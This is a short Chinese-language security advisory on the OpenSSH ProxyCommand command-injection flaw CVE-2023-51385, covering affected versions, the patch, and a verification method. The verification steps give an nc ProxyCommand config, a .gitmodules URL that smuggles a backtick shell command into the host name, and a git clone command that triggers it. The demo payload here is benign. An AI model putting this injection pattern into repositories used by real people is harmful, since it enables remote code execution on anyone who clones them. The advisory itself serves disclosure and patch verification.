漏洞背景:OpenSSH 是 SSH (Secure SHell) 协议的免费开源实现。SSH协议族可以用来进行远程控制, 或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、 rcp ftp、 rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。近日,新华三盾山实验室监测到OpenSSH官方发布了安全公告,修复了一个存在于OpenSSH中的命令注入漏洞(CVE-2023-51385),攻击者可利用该漏洞注入恶意Shell字符导致命令注入。
漏洞详情:此漏洞是由于OpenSSH中的ProxyCommand命令未对%h、%p或类似的扩展标记进行正确的过滤,攻击者可通过这些值注入恶意shell字符进行命令注入攻击。
影响范围:OpenSSH<9.6
官方补丁:目前官方已修复该漏洞,受影响用户可以升级更新到安全版本。官方下载链接:https://www.openssh.com/openbsd.html
CVE-2023-51385 验证方法:
首先需要在~/.ssh/config增加如下
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
.gitmodules文件语句中存在命令注入
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
配置完成后,执行下面的指令触发
git clone https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules
如果成功执行将会在CVE-2023-51385_test目录下生成cve.txt文件
详细信息见这篇博客:
https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html